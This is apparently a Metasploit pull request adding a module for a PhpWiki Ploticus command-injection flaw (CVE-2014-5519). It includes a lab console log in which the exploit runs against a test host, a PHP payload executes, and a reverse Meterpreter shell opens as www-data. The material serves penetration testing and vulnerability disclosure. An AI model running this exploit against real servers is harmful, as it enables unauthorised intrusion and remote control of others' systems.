rapid7/metasploit-framework — pull request #3799 by us3r777 (2014-09-16 12:38:21+00:00)
Title: Module for CVE-2014-5519, phpwiki/ploticus RCE

# Description
The Ploticus module in PhpWiki 1.5.0 allows remote attackers to execute arbitrary code via command injection. Discovery and POC done by Benjamin Harris.

# Links
http://www.exploit-db.com/exploits/34451/
http://www.cvedetails.com/cve/CVE-2014-5519/
http://seclists.org/fulldisclosure/2014/Aug/77

# Reproduction steps
- [ ] Install a LAMP server
- [ ] Install phpwiki ( http://sourceforge.net/projects/phpwiki/, the config file can be generated from here : http://phpwiki.fr/ )

# Tests
`̀``
2014-09-16 14:19:04 +0200 S:0 J:0> use exploit/multi/http/phpwiki_ploticus_exec
2014-09-16 14:19:12 +0200 S:0 J:0 exploit(phpwiki_ploticus_exec) > set RHOST 192.168.56.101
RHOST => 192.168.56.101
2014-09-16 14:19:18 +0200 S:0 J:0 exploit(phpwiki_ploticus_exec) > run

[*] Started reverse handler on 192.168.56.1:4444
[*] 192.168.56.101:80 - Executing payload gpPdLWOs.php
[*] Sending stage (40551 bytes) to 192.168.56.101
[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.101:55045) at 2014-09-16 14:19:23 +0200

meterpreter > getuid
Server username: www-data (33)
```